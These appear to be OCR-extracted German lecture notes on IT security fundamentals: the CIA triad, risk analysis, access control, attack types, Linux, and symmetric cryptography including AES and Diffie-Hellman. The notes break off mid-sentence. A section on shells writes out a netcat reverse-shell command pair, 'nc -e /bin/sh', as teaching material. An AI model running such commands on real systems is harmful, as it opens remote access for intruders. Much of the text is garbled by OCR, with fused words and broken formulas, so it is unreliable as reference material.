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13.1.2 Authentication Schemes



2 QGONCEPTS

2.1 CIATRIADE- NON-REPUDIATIQRCCOUNTABILITY

1 Confidentiality: keinunautorisierterZugriffauf Daten at rest, in transdder in use z.B. mit
Verschliisselung und Access control

1 Integrity: Daten sind korrektind vollstdndigund wurden nichtunautorisiertverandert, z.B.
mit IDS und Hashes

1 Availability: Daten sind in niticher Frist einsehbar, z.B. mit Redundanz, Skalikdiiar
Backup

1 Non-Repudiation Subject einer Aktion kargie Aktion nicht abstreiten, z.B. mit digitalen
Zertifikaten, SessietDs oder Transaction Logs

91 Accountability. verantwortlich sein fur Rtionen und Resultate

2.2 ASSETS

Ein Asset ist alles einer Umgebng, das geschiitzt werden sollte. Ein Verlust resultiert in einem
Sicherheitsvorfall, Produktivitatsverlust, Profitverlust, zusatzlichen Ausgaben oder sogar
Betriebsschliessung.

Es gibt verschieden Arten von Assets:

1

=& & —a & _a _a

Information: alle Daten

Systeme IT-Systeme die Dienste bereitstellen

Geréate alle mdgliche Hardware wie Server, PCs, Laptops, Drucker, usw.
Facilities physische Gebaude die gekauft oder gemietet sind

Personal Angestellte

Intellectual Property (IP)Markennamen, Rezept®roduktionstechniken, usw.

Schutz von Intellectual Property

Copyright ermdglicht dem Urheber das Duplizieren seines Werks zu verbieten, tritt
automatisch in Kraft und gilt 70 Jahre, geeignet fur Literatur, Choreografien, grafische Arbeit,
audiovisuelle lhalte, Musik, Architektur, bei Software kann der Sou@me damit

geschitzt werden, nicht aber die Idee oder der Prozess hinter der Software

Trademark Schutz von Wértern, Slogans oder Logos einer Firma, tritt automatisch in Kraft
und kann mit denTM-SymIol gekennzeichnet werden, nach der Registrierung kann e®mit
gekennzeichnet werden

Patent schitzt IP von Erfindern flr 20 Jahre, Erfindung wird 6ffentlich und muss neu,
nitzlich und nicht offensichtlich sein, nicht geeignet fur Software

Trade Secretwird von grossen Firmen wie Microsoft benutzt, schitzt IP, ohne die Erfindung
offentlich zu machen und auf unbestimmte Zeit



2.3 DATAQLASSIFICATION
Wird benutzt, um zu éstimmen wie viel Aufwand, Geld und Ressourcen benutzt werden sollen, um
das Asset zachiitzen

Daa States:

1 At Rest gespeicherte Datenud Disks, USBs, SANs oder Backup Tapes

1 In Transit/In Motion: Daten die tUber ein Netzwerk oder das Internet Ubertragen werden

1 In Use eine Applikatiorkann verschlisselte Daten nicht verwenden, sie welideaen
Memoryoder temporare Buffers decrypted

Seansitive Daten:

1 Personally Identifiable Information (PL)nformationen, die beuntzt werden kdnnen, um
die Identitat einer Person festzustellen, z.B. Name, Sozialversicherungsnummer,
Geburtsdatum und Geburtsh Name der Mutter, biometrische Eintragmedizinsche,
finanzielle, Ausbildungsind AnstellungsAngaben bei Breaches missen betroffene
Personen informiert werden gesetzlich

1 Protected Health Information (PHIGesundheitlichénformationen, welche von einer
Organisation erstellt oder erhalten wurden, egal ob vergangen, aktuell oder zukunftig,
reguliert durchHealth Insurance Portability and Accountability Act (HIPARHen USA,
durch Gesetzgebung elektronisches Patientendws$EPDG) in der Schweiz

1 Proprietare DatenDaten,die eing Organisatioreinen Wettbewerbsvorteil verschaffemwie
Source Code, technische Plane, interne Prozesse, |IP, Trade Reoritelle beachten
Copyrights und Patente nicht, daher missen sie gflageschitzt werden

Reaierung/Militar Klassifizierung:

Top secret Drastische Schaden dr nationalen Sicherheit
Secret Kritischer Schaden der nationaleict&rheit
Confidential Ernster Schaden der national&icherheit
Sensitive butinclassified | Interne Verwendung

Unclassified Keine Auswirkungen

Kommerzielle Klassifizierung:

ConfidentialPrivate Drastische Effekte auf Wettbewerbsvorteil
Sensitive Klassifizierter als Public
Public Passt nicht in dieraderen beiderKategorien

Zastorung von Daten

9 Erasing Nur der Linkz den Daten wird geléscht, mit Undelete kénnen die Daten
wiederhergestellt werden

91 Clearing/Overwriting Das Medium wird komplett Gberschrieben mit einem Charakter, dann
dem Komplement davon und dannitfRandom Bits, kann mit normalen Tools nicht
rickgéngig gemacht werden

1 Purging mehrere Durchgange von Clearing

1 DegaussingMagnetisches Feld I6scht Daten komplett, funktioniert nicht bei CDs, DVDs und
SSDs

9 Destruction Medium wirdunreparierbar zerstort, so dass die Daten nicht mehr extrahiert
werden kénnen



Verfolung/Verstecknvon sensitiven Daten

1 SteganografieNachrichten in Files verstecken

1 Watermarking Verstecktes Merkmal in einem Bild/Papier oder digitaler Marker verstackt i
File

2.4 THREAMODEL
9 Threat: Potentielle Gefahr fuiire Asset, absichtlich oder versehentlich
1 Threat actor: jemand der einen Threat absliift ausnutzt, z.B. Script kiddies, organisierte
Hackergruppen, Stateponsored Hacker, HacktivisteFgrroristen
1 Threat intelligence: Wissen Uber einen existierenden oder aufkommenden Threat
9 Threat event: absichtliche oder versehentliche Ausnutzung eines Threats

2.5 STRIDE

Spoofing != Authenticity: Zugriff mit einer falschen Identitat erhalten
Tampering= Integrity: Unauthorisierte Manipulation von Daten

Repudiation != NoiRepudiation: Abstreiten einer Aktion

Information disclosure != Confidentiality: Unauthorisierteigaff

Denial of Service (DoS) != Availability: Kein oder langsamer authorisiegiéif Zuf
Ressourcen

9 Elevation of Privilege != Authorization: Beschrankter Account erhalt Rebhte

= =4 =4 =4 =4

2.6 VULNERABILIT|IESVECWE

Eine Vulnerability ist einecBwéche eines Assets, deren Ausnutzung Verlust oder Schaden des Assets
zur Folge hat.

Common Vulneabilities and Exposures (CVE)dustrieweite IDNummer fir Vulnerabilitiesdie
Nummer kann von der CVE Numbering Authority (CNA) bestellt werden, oder von MITRE direkt,
welche auch CVE Requests flr Open Source Software akzeptiert

Common Vulnerability &oring System (CVSSJiner Vulnerability wird ein Severity Score vog1D
zugewiesen, welcher &grund von Cl&rinzipien berechnet wird

Attack Vector Network
Attack Complexity Low

Exploitability Privileges Required None 39
User Interaction None
Scope Unchanged
Confidentiality High

Impact Integrity None 36

Availability None 0.0: None

0.1-3.9: Low
4.0 - 6.9: Medium

7.0 - 8.9: High
9.0 - 10.0: Critical




Common Weakness Enumeration (CW¥pn der Community entwickelte Liste vaoft®are- und
HardwareSchwacheriir gemeinsame Bezeichnungen, Messlatten fiir Security Tools und eine
Baselne fir die Identifikation, Behebung und Verhinderung von Schwachen

&«

C @& github.com/OWASP/ASV master/4.0/e 1 PlLmd

V13.1 Generic Web Service Security Verification Requirements

# Description L1 L2 L3 | CWE

Verify that all application components use the same encodings and parsers to avoid
13.1.1 parsing attacks that exploit different URI or file parsing behavior that could be used in v v v 116
SSRF and RFI attacks
Verify that access to administration and management functions is limited to authorized

13.1.2 :
administrators.

1313 Verify APl URLs do not expose sensitive information, such as the API key, session tokens
T ete

Exploit:Software oder Commandbfolge zur Ausnutzung einer Vulnerability

2.7

which are Threats __exploit
RSKMANAGEMENT endangeed D/V %5

Das Ziel vom Risk Management ist, IT Security Assels Vulnerabilities
Strategien @ entwickeln und zu implementieren.

Die Strategien sollen das Risiko auf ein fur die

Mission des Unternehmens akzeptables Level zWhich protect which results in
bringen. Oft kdnnen Risiken mit wenig Aufwand

stark

Safeguards Exposure

reduziert werdenreine risikofreie
Umgebung ist jedoch unmdglich. I .
which is mitigated by b which is

Begriffe:

1

=A =4 =4 =4

Risk ManagementFaktoren identifizieren, die Daten beschadigen oder offenlegen kdnnten,
die Faktoren bewerten nach Datdralue und Massnahmelosten, Kosteneffektive
Massnahmenmplementieren, um die Risiken zu minimieren

CountermeasureRisiko minimieren durch Aktionen oder Produkte

Risk Analysisalle Assets der Organisation nach Value evaluieren, die Umgebung auf Risiken
untersuchen, jedes Threat Event auf Wahrscheinlichk&it 8chaden evaluieren, die Kosten

fir Massnahmen dem Management prasentieren

Asset Valuation Dem Asset einen Geldbetrag fur Entwicklung, Betrieb, Administration,
Werbung, Support, Reparaturen und Ersatz zuweisen

Exposure die Mdglichkeit fur einen Asset Verlust aufgrund eines Threats, quantitative Risk
Analysis zur Berechnung des Exposure Factors (EF) durchfiihren

Risk die Mdglichkeit, dass etwas passieren konnte, das Daten beschadigen, zerstéren und
offenlegen konnte, jgrosser die Wahrscheinlichkeit fir ein Threat Event ist desto grosser ist
das Risk

Realized Riskein Risiko das erkannt wurde

Attack: Exploitation einer Vulnerability durch einen Threat rmige

Breach Umgehung eines Sicherhelechanismus durch einen Tdat Agent

Penetration ein Threat Agent hat Quiff auf die Infrastruktur durch Umgehung von
Kontrollmechanismen



1 Risk AssessmenEs gibt zwei Methode:
o0 Quantitativ: Dem AsseVerlust einen konkreten Geldbetrag zuweisen
Assign Asset Value (AV), CalculatgoBure Factore (EF), Calculate Single Loss
Expectancy (SLE), Assess the annualized rate of occurrence (ARO), Derive the
annualized Loss expectancy (ALE), Kdstigzen Analyse von Massnahmen machen
0 Qualitativ: Dem Asset/erlust subjektive und immaterielerte zuweisen

2.7.1 EXxposure Factor
Der EF ist derrBzentsatz des Werts des Assets, wenn das Asset durch ein identifiziertes Risiko
teilweise oder ganz zerstért wird.

2.7.2 Single Loss Expectancy
Der Geldbetrag der verlorerepgt, wenn ein Asset durch eidentifiziertes Risiko teilweise oder ganz
zerstort wird.

SLE = asset value (AV) * exposure factor (EF)

2.7.3 Annualized Rate of Accurance
Die erwarteten Anzahl Male,awein spezifischer Threat oder Risiko pro Jahr auftritt.

2.7.4 Annualized Loss Expectancy
Die mogliben jahrlichen Kostenller Instanzen spezifischer erkannter Threats gegen ein spezifisches
Asset.

ALE = single loss expectancy (SLE) * annualized rate of occurrence (ARO)

2.7.5 Cost/benefit Analysis
Formel: ALE vor deicBerheitsmassnahme ALE nach der Sichieitsmassnahme jahrliche Kosten
der Massnahme

Wenn das Resultat negativ ist, sollte die Massnahme aus finanzieller Sicht nicht implementiert
werden, wenn es positiv sollte die Massnahme unbedingt implementiert werden

2.7.6 Residual Risk
Das Residual Rigt das Restrisik das nach der Implementation von Massnahmen ubrigbleibt.

2.7.7 Mitigation, Assignment, Acceptance, Deterrence, Avoidance, Rejection

1 Mitigation: Implementierung von SafeguardediCountermeasures, um Vulnerabilities und
Threats zieliminieren

1 Assignment Ein Risiko einer anderen Entitdt oder Organisation zuweisen, beispielsweise
durch eine Versicherung.

1 AcceptanceDie Akzeptanz eines Risikos, weil die Kosten der Massnahme die des ALE
Ubersteigen.

1 Deterrence Abschreckungsmassnahmen fir potenzielle Angreifer implementieren, z.B.
Audits, Kameras, Sicherheitspersonal oder Warnschilder

1 Avoidance Ein Risiko vermeidemdem ein anderes Produkt verwendet wird oder es
einfach deaktiviert wird.

1 Rejection nicht akzeptabel, Risiko ignorieren



2.8 PRIVACY

Privacy ist das Recht einer Person die personlichen Daten zu kontrollieren.

1 Datensammlung sollte beschrankt werden.

1 Datenbesiter sollten PrivaciPrinzipien respektieren und durchsetzen.

1 Datenprozesse sollten Privacy und Integrity erzwingen.

9 Techniken zur sicheren permanenten Datenldschung sollten verwendet werden.

Nach 9/11 gab der PATRIOT Act in den USA der Polizei und Gehsimgiitgehende
Berechtigungen zur Uberwachung von elektronischer Kommunikation. Personen durften abgehort
werden und ISPs mussten grosse Datenmengen sammeln und der Polizei zur Verfliigung stellen.

In der EU gibt es seit 2018 die General Data ProtectigulRié&on (GDPR), welche allen EU Blrgern
das Recht auf Privatsphare, das «right to be forgotten» und Einsicht in ihre gesammelten Daten gibt
und Datensammler zur Meldung von Breaches verpflichtet.

Pseudonymization: Datenelemente werden mit Pseudonymenterssomit kann kein Rickschluss
auf die Person hinter den Daten gemacht werden, es kann aber riickgdngig gemacht werden

Anonymization: Wenn die persdnlichen Daten nicht gebraucht werden, kbnnen sie anonymisiert
werden.



3 IDENTITY ANBCCESBIANAGEMENT

DerZugriff auf Assets uss kontrolliert werden.

3.1 BEGRIFFE
1 Subject Aktive Entitat dieauf ein Objekt zugreift, z.B. ein User, Programm, Prozess, Service
oder Computer
1 Objekt passive Entitat die einem Subjekt Informationen zur Verfligung stellt, z.Bilein
DB, Computer, Programm, Prozess, Service, Drucker oder Storage

3.2 ARTEN

1 Preventive Probiert das Vorkommen von unautorisierter Aktivitt zu stoppen
Beispiele: Zaun, Schloss, Data Classification, Verschlisselung, FiRSvall

91 Detective Probiert unautoisierte Aktivitat zuerkennennachdem sie passiert ist
Beispiele: Sicherheitspersonal, Uberwachungskameras, Audit Trails, IDS

91 Corrective Probiert die Umgebung zu dndern, damit eine erkannte unautorisierte Aktivitat
nicht mehr passieren kann
Beispiele: Reoot, Antivirus der Virus in Quarantane steckt, BacRgstore

1 Deterrent: Ermutigt potenzielle Tater, einen Angriff nicht zu tun
Beispiele: WarnschildeBecurityTrainings, Kameras

1 CompensatingMassnahme wird installiert, um andere Massnahmen zu unté¢zstiioder
durchzusetzen
Beispiel: Polichesagt,dass alle Pll verschlisselt sein missen, jedoch werden sie im Klartext
Ubers Netzwerk tbertragen, eine Compensating contiiodl implementiert, damit sie bei
der Ubertragung auch geschiitzt sind

91 Directive/Authoritative : Soll die Subjekte ermutigen, die Sicherheitsrichtlinien einzuhalten.
Beispiele: Monitoring, Prozesse, Uberwachung durch Vorgesetzt

1 RecoveryCorrective contrts mit mehr Féahigkeiten
Beispiele: Cluster, RAID, Baclgstore, Badowing, Multisite

3.3 KATEGORIEN
1 Physikalisch (Hardware)
9 Technisch/Logisch (Software)
1 Administrativ (Policies und Prozesse)

3.4 ABLAURACCESEONTROL

3.4.1 Identification

Dabei beansprucht das Subjedihe Identitat. Alle Subjekte missen eine unique Identity haben
welche public istDie ITSysteme arbeiten ausschliesslich mit Identities. Dies kann beispielsweise die
Eingabe eines Usernames, eine Smartcard, ein FGlezat oder der Fingerabdruck sein.



3.4.2 Authentication
Das Subjekt muss beweisen, dass ihm die Identitat gehdrt. Meist passiert das durch ein Passwort. Die
Authentication Daten sind private und missen geschutzt werden.

Kategorien und Beispiel@ype 1 am schwachsten, Type 3 am starksten)

1 Type 1: Something yoknow
o Passwortesind eine schwache Form der Authentication, sie sind oft einfach und
schnell geknackt, werden aufgeschrieben oder geteilt. Passworte sollen Klein
/GrossBuchstaben, Zahlen und Sonderzeichen enthalten. Sie sollen keine
persoénlichen Informationen und Wérteausdem Worterbuch enthalten.
o Passworghrasessind eine gute Moglichkeftir starke Passwortedabei wird ein
Satz geschrieben und einige Zeichen durch Sonderzeichen ersetzt.
o0 Kognitive PasswdrterDem UsemwerdenFragen gestellt werden mit Antworten, die
nur das Subjekt wissen sollte, beispielsweise «Wie hiess dein erster Chef?»
o PIN
1 Type 2: Something you have
0 Smartcard Badge in Kreditkartengréosse mit Microchip und einem oder mehreren
Zertifikaten fir asymmetrische Verschliisselung, sind tamesistantund sind eine
einfache Option fiir User, um komplexe Verschlisselungskeys zu transportieren
o Token Passworigenerierendes Gerat, Serveriss,was das Gerat gerade flr einen
Token anzeigt, es gibt zwei Arten:
A SynchronougTime-based One Time Password TQTAle 30s gibt es einen
neuen Token, bedingt genaue Zeit auf Gerat und Server
A AsynchronougHMAGbased One Time Password HQTBynamische
Tdken werden generiert basierend auf einem Algorithmus und Counter, der
Token bleibt degleiche bis er benutzt wird
o Memory Card
o USB drive
1 Type 3: Something you aregdd
o Fingerprint
Stimme
Retina
Iris
Gesicht
Hand
Handvenen
Puls
Keyboard Pattern

O O 0O O OO0 OO0 Oo

Fir nochmehr Sicherheit wd Multifaktor mit 2 oder mehr Types eingesetzt.

Viele IAMs setzen auch Geolocatibechnikermit der IP ein, um zpriifen, ob dasLogin von einem
realistischen Ort kommt.



3.4.3

Authorization

Dabei wird geprift, ob die Identitdterechtigtist fir die angeforderte Aktion.

Arten:

1

Discretionary Access Control (DAGgdes Object hat einen Owner und der Owner kann
anderen Subjects Zugriff gewahrenavdrerweigern, z.B. NTFS

Role Based Access Canit(RBAC)Berechtigungen werden an Rallanstatt Subjects
zugewiesen. Das Subjdbekommt dann eine oder mehrere Rollen zugewiesen, von
welchem es die Berechtigungen erlatB. Kubernetes

Rule Based Access Contr@lobale Rules werden allen Subjects zugewiesenfFar@wvall.
Attribute Based Access ContrdBerechtigungen werden antiibute anstatt Subjects
zugewiesenDas Subject bekommt dann eine oder mehrere Attribute zugewiesen, von
welchem es die Berechtigungen erbt

Mandatory Access ControSubjects und Objects bekommen Labels und wenn beide das
Labelhaben, wird der Zugriff gevihrt

Begriffe und Prinzipien:

l

3.4.4

Implicit deny. Grundsatzlich gibt es keinen Zugriff, ausser man ist berechtigt, wird von den
meisten Mechanismen verwendet.

Constrained interfaceTeile des Uls werdarersteckt, wenn der User nicht berechtigt ist.
AccesgControl Matrix Tabelle mit Subjects, Objects und zugewiesenen Beraigen,
System checkt diese Matrix vor der Aktion

Capability TableSubjectfocusedTabelle mit einer Liste der Objects bei jedem Subject
Contentdependent control Bei einer DBdnn man beispielsweise nur bestimmte Daten
ausgeben, es gibt eine View fir intern und eine fir den Kunden mit weniger Infos.
Contextdependent control Spezifische Aktvitatorher wird benotigt bevoZugriffgewahrt
wird. Beispielsweise kann man in einem Sofev@nlineshop erst herunterladen nachdem
man bezahlt hat.

Need to know Es gibt nur Zyriff auf die Informationen, die man fir seine Job Funktion
bendtigt.

Least privilegeEs gibt nudie Privilegien, die man fur seine Job Funktion bendtigt.
Separation & Duties and ResponsibilitiedDabei wird sichergestelldamit nicht eine

einzelne Person eine kritische Funktion benutzen kann. Beispielsweise muss der CFO eine
Uberweisung tber einem gewissen Betrag absegnen.

Auditing

Die Aktionen eines Subjedsifzeidqinen

3.45

Accounting

Die Fahigkeit, die Person hinter einem Subject verantwortlich zu machen.



3.5 ANGRIFFE

1

]

Access Aggregation Attacks (passive attadkichtsensitive Informationen sammeln und sie
zusammenfligen, um sensitive Informationen zu erlernen.

Password Attacks (Brutéorce attack) Online accounts angreifen oder DBs stehlen
Dictionary Attacks (Brutdorce attack) Ebenfalls Online accounts angreifen oder DBs
stehlen, jedoch wit fiir das Cracken ein Dictionary mit Wértern und bekannten Passwdrter
verwendet

Birthday Attack (Bruteforce attack) mdchte Kollisionen finden &grund des Birthday
paradox, kann mit sicheren Hashethoden verhindert werden

Rainbow Table Attackses wird eir vorgefertigte Liste von Passworten und Hashes
genommen firs Bre-Force, das ist viel schneller, kann aber mit Salted Hashes verhindert
werden

Sniffer Attack (EavesdroppPie Pakete im Netzwerk werden aufgezeichnet und analysiert
nach Passworten, kann verhindert werden mit Verschlissel@ids und physikalischen
Schuzmassnahmen

Spoofing man gibt eine falsche Identitat (IP, Mail, -Nel) vor

Social Engineeringzin Angreifen méchte das Vertrauen eines Users gewinnen, damit er ihm
sensitive Informationen sendet

Shoulder surfing Sensitive Informationen vomildschirm ablesen

Phishing Form des Social Engineerings, man mochts dier User ein Anhang 6ffnet oder
auf einen Link klickt, um ihm sensitive Daten zu entlocken oder einen Virus zu installieren
Spear Phishinggezieltes Phising aaine spezifische @ppe von Personen

Whaling Phishing gegen hohere Manager

Vishing Phishing tber Instant Messaging oder VarBtatt Mail

3.6 MASSNAHMEN

T

Layering verschiedene Controls in Serie verwenden, damit mehrere Gberwunden werden
mussen

Abstraction vereinfacht die Segity-Administration, indem man Gruppen von Funktionen
oder Typen macht und diese dann zuweist

Data Hiding absichtlich Daten so platzieren, damit unautorisierte Subjects sie nicht sehen
Security through obscurityetwas verstecken und das Subject niclibimieren, hofen dass
er es nicht findet

Encryption Einsicht durch unautorisierte Subjects verhindern



4 LINUX

4.1 ReEDTEAM VSBLUETEAM
1 Red TeamOffensive Security, Penetration Testatey Systeme, Rolle des Hackers wird
angenommen, suchen &ative Losungen und testen Angriffe aus der Praxis, das Ziel ist der
angegriffenen Firma Licken aufzuzeigen, meist sind das externe Personen, welche die
internen Sicherheitsmassnahmen nicht kenneendtigte Skills:
o0 Outside the box thinking (stéandig neue Tools und Techniken probieren)
o Tiefes Wissen uber die Systeme (Protokolle, Libraries, Networking, Server, DBSs)
o Softwareentwicklung (eigene Tools entwickeln kénnen)
0 Penetration TestingLlcken und Bedrohungen finden)
0 Social Engineering
1 Blue TeamDefensive Security, Netzwerksicherheitdwmtersucht, um Lucken zu finden,
Wege zur besseren Incident Response werden gesucht, missen die Taktiken der Angreifer
kennen, aktuelle Aktivitat witr mit einem IDS Uberwachbendétigte Skills:
o Organisiert und Detarientiert (Mindset, um Licken nicht zu vergessen)
0 Security Analyse und Threatofil (Security Assessment, Risk Profil, Threat Profil)
0 Hardening (technische Hardenimgchniken kennen um die Angritéche zu
reduzierer)
o IDSKnowhow (Software kennen die Netzwerktraffic tberwacht)
0 Security Information and Eventaiagement (SIEM, Echtzeitanalyse von Events)

4.2 SEINUX

Linux verwendet standardmassig Discretionary Access@dBXAC) fur Files, SELinux wurde gen
NSA entwickelt, um es mit Mandatory Access Control (MAC) zu erweitern.

Es werden Labels an Prozesse, Files, Sockets usw. zugewiesen

Es kdnnen Klassifizierungen erstellt werden, ein tiefer eingestufter Prozessl&an beispielsweise
keine Files einer héheren Klasse nutzen, egal ob die Berechtigungen das zulassen wuirden.

4.3 SrickBT, SUIDGUID

Wenn das Sticky Bit gesetzt ist auf einem Ordner, kann nur der Owner des Files es I6schen oder
umbenennen, auch wenn dieerechtigungen es zulassen wirden.

Bei Files hat es keine Bedeutung.
Aktivieren: chmod +t dir/
SUID: File wird immer als Owner ausgefihrt (chmod u+s file)

GUID: File wird immer mit der Gruppe ausgefihrt (chmod g+s file)



4.4 SHELLS
Bind Shel{normal):

IP Address: 192.168.78.6
Listening Port: 1234

E Attacker connects to victim on listening port (1234).
<

! Y —

O
Compromised Attacker
System

Reverse Shell:

IP Address: 192.168.78.147
Listening Port: 666

— Victim connects to attacker on listening port (666).

— )

i o

Compromised Attacker
System

ATTACKER VICTIM
TCP connection on port 1337

nc -lvp 1337 nc -e /bin/sh 1337

Die Reverse Shell funktioniemieh durch Firewalls, wenn beispielsweise Server ins Internet dirfen.

4.5 DIVERSES

Als Firewall kann iptables verwendet werden. Der Nachfolger davon ist nftables.

IDS fur Linux: Snort

IPS fir LinwSecurityOnion oder RedHunt Linux

Mit Scapy kdonnetP-Paketegesendet, gesnifft oder manipuliert werden. Es kann alle
maglichen Pakete erstellen, somit ist es gut geeignet flrs Testen von Netzwerkattacken und
ob IDS/IPS sie erkennen.

= =4 =4 =4



5 SYMMETRISCMERSHLUSSELUNG

Begriffe:

1 Message/Plaintext: Daten im Klartext

1 Ciphertext: Mithilfe eines kryptografischen Algorithmus verschliisselte Daten

1 Cipher: der kyptografische Algorithmus

1 Cryptographic key: der Schltssel mit dem verschliisselt wird

1 OneWayFunction: Mathematische Operation, die aeigem Input einen Output generiert,
der nicht zurtick zum Input transformiert werden kann

1 Reversability: Eigenschaft der Kryptografie die Verschlusselung riickgangig machen zu
kénnen

1 Nonce: eine unique public Zahkdei jeder Verwendung anders sein muss, z.B. Counter

91 Initialization Vector (IV): zuféllige Bits mit der gleichen Lange wie die Message, es wird dann
zusammen XORed damit bei jeder Verschlisselung ein anderer Ciphertext entsteht

1 Confusion: Beziehung zwismn Plaintext uncCiphertextist so kompliziert, dass ein Angreifer
nicht den Plaintexaibdndern und das Resultat analysieteann um den Key rauszufinden
wird durch Substitutiorhinzugefuigt

{1 Diffusion: wenn eine kleine Anderung am Plaintext viele Andgiomganzen Ciphertext
verteilt bewirkt, wird durchPermutationenhinzugefiigt

91 Kerckhoff: Ein kryptografisches System sollte sicher sein, auch wenn alles Uiber das System
ausser der Key public ist. «The enemy knows the system.» Somit kann jeder das System
testen und Schwachen werden schneller aufgedeckt, die allermeisten Kryptogtafenen
zu.

9 Substitution: Bytes mit anderen ersetzen

B N S X N O
in 12 1100 6 13 1 15 7 12

IO A N KT

8 & 2 0 14 10
outs 0101 N

5 9 1 4

in 11 1011

out10 1 0 1 0



1 Permutation: Bytes mit anderen vertauschen
in1711 o 1 o 1 0 1 1

yut 211 1 1 0 1 0 0 1 1

9 SubstitutionPermutation (SP) Network: Verschiedene Substitutionen und Permutationen
werden wiederholt und kombiniert

in 103 0110 0111

1000 00 1

—

|
out19 00 01 0 0 1 1

1 XOR ist ein binarer Operatawischen zwei Values, der sehr niitzlich in der Kryptografie ist.

B A B 0

0 0 0

0 1 1

A > > 0 1 0 1
L/

1 1 0

Wenn XOR 2x ausgefihrt wird, wird der Effekt riickgéangig gemacht (A=Key,B=Message)

A©GB®DOA=B

1 One Time Pad: Wenn man mit XOReeMessage mit einem gleich langen Key verschlisselt,
hat man eine perfkte unknackbare Verschliisselung, wenn man den Key vernichtet. Es gibt
keine statistischen Zusammenhange und man nennt es Perfect Sededogh ist
unpraktisch wegen dem langen Key und die Keys missen ja sicher transportiert werden
kénnen und durfen nich2x benutzt werden.



9 Caesar Cipher: Fir die Verschlisselung werden die Buchstaben um eine vorher vereinbarte
Anzahl Buchstaben im Alphabet verschoben, z.B. wird A zu D.

Bei der symmetrischen Verschlisselung wird ein Shared Key verwendet, welcher saw®@enaer
fur die Verschliisselung als auch vom Empfanger zur Entschlisselung verwendet wird.
Vorteile:

1 Geschwindigkeit: 1000x10000x schneller als Asymmetrisch

1 Prozessoren haben oft ein AES Instruction Set
Nachteile:

1 Man braucht einen Weg d&ecret sicher auszutauschen
1 Non-Repudiation wird nicht erflllt, man weiss nicht woher ein Ciphertext kommt
1 Integrity wird nicht erfillt, die Integrity der Message aus dem Ciphertext wird nicht gepruft



Es gibt 2 Arten:

5.1 SrREAMOPHER

Funktionieren mit Messges von jeder Lange bzw. fortlaufenden Streams.
Vorteile:

1 Man ist nicht an eine bestimmte Lange der Message gebunden

9 Cipher ist sehr schnell und braucht wenig Memory, lauft somit auch auf schwacher
Hardware

1 Wenn er gut konzipiert ist, kann er jede beliebige StelleRtesamsaufsuchen.

Nacheile:

1 Keystream muss statistisch zuféallig aussehen
1 Ein Key und die Nonce darf nie nochmals verwendet werden
9 Es gibt keine garantierte Integritat fir den Plaintext

5.2 BLOCKOPHER
Bendtigen einen Input einer bestimmten Grosse und liefern einen Output der gleichen Grésse. Die
Verschliisselung erfolgt durch Confusion und Diffusion iN&Rorks.

Mit Abstand am meisten verwendet wird der Advanced Encryption Standard (AES)asegiatich
z.B. noch Feistel Ciphesder Chacha20, welches oft in Smartphones eingesetzt wkE® basiert auf
dem Rijndael Algorithmus und ist der Nachfolger von DES.

Key Length | Block Size | Number of
(Nk words) (Nb words) Rounds
(bits) (bits) (Nr)
AES-128 4 (128) 10
AES-192 6 (192 4(128) 12
AES-256 8 (256) 14
unexpanded
KEY——»Key Expander| KEXP
optional
expanded » DOUT AES
KEY
v
DIN 4’D—;AddRoundKey S‘a'eArS;gfage - »{ByteSubl—»{ ShiftRow —» Mixcmumn1

Beim ByteSub werden mithilfe eines Lookup TahlksBytes zu einem anderen Byte geandert. Die
Bytes missen nicht am gleichen Ort rauskommen.



S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte
00) 01) 02) 03) 04) 05) 06) 07) 08) 09) 10) 11) 12) 13) 14) 15)

S(byte S(byte S(byte
00) 08) 12)

S(byte S(byte S(byte
01) (1)) 13)

S(byte S(byte S(byte
02) 10) 14)

S(byte S(byte S(byte
03) 11) 15)

Beim ShiftRow werden die Rows rotiert um eine immer 1 grossere Zahl.

S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte S(byte
00) 01) 02) 03) 04) 05) 06) 07) 08) 09) 10) 11) 12) 13) 14) 15)

S(byte S(byte S(byte S(byte
00) 04 08 No changes

05) ' . 1 to the left

— —

S(byte S(byte S(byte
06)  10) 14) 2 to the left

S(byte S(byte S(byte
07) 1)  15) 3 to the left

Beim MixColumns werden noch die Kolonnen untereinander durch Matrixmultiplikation ventind

Plaintext
|

2 3 1 1 -0
|
1 2 3 1 SubByles
* —
1 1 2 3 — .
ShiftRows
|

__3 1 1 2 ]

5.2.1 Operation Modes von Block Ciphers

5.2.1.1 Hectronic Code Book (ECB)
Ein Block nach dem anderen wird verschliisselt, daher ist es schwach wenn sich Blocks wiederholen.




5.2.1.2 dpher Block Chaining (CBC)
Der Output vom Block wird mit dem Output des vorherigen Blocks XORed, daher ist das nicht
parallelisierbar und somit nicht performant. Sicherheitsmassig ist es besser als ECB

Ml MZ M
it & 4
Ey Ex E,

5.2.1.3 unter Mode (CTR)
Standardmodus von AES. Anstatt der Message wird einen Nonce verschlisselt, welche dann mit dem

Block XORed wird. Das ist parallelisierbar und sicher.

Nonce + 0 Nonce + 1 Nonce + 2

M, — M, — M. —

5.3 DIFFIEHELLMAN
Mit Diffie-Hellman kénnen zwei Parteien Gber einen unsicheren Kanel einen gemeinsamen Key
vereinbaren.

1. Alice und Bob vereinbaren eine 2048/4096 Bit Primpaimid einen GeneratoiQQ welcher
ebenfalls eine Primzahl ist und eine primitive Wurzel von p ist

s 2 a primitive root of prime number 57? Is 2 a primitive root of prime number 77
2mod5=2 2mod7 =2
22mod 5 =4 22mod7 =4
23 mod 5 = 3 22mod 7 =1
2mod 5 = 1 2*mod7=2
2°mod7 =4
2°mod 7 =1
Ja, 1¢ 4 ist abgedeckt | Nein, 1¢ 6 ist nicht abgedeckt

2. Alice generiert eine zuféllige private Zahind Bob geneneriert eine zufallige private Zahl
beide liegen zwischep 1

3. Alice berechnedb "Q & ¢ ‘Qund Bob berechned "Q & ¢ 'Q

4. Die beiden Ergebnisse werden ausgetauscht

5. Alice berechned & ¢ ‘@ und Bob berechned & ¢ '@, beide erhalten dasselbe

Das Ergebnis ist meist das preaster secret, mit dem dann session keys erstellt werden z.B. mit
SHA256, einer Hashe#ley derivation functiofHKDF), weil es zu grgssind. 2048 Bit)st.



5.3.1 Elliptic Curve

Elliptic Curve Diffie Hellman Encryption (ECDHE) isicirereer Ersatz fur die Mathematik unter
Diffie Hellman. Es ist eine zweidimensionale Kurve, wobei der private key eine Nummerrund de
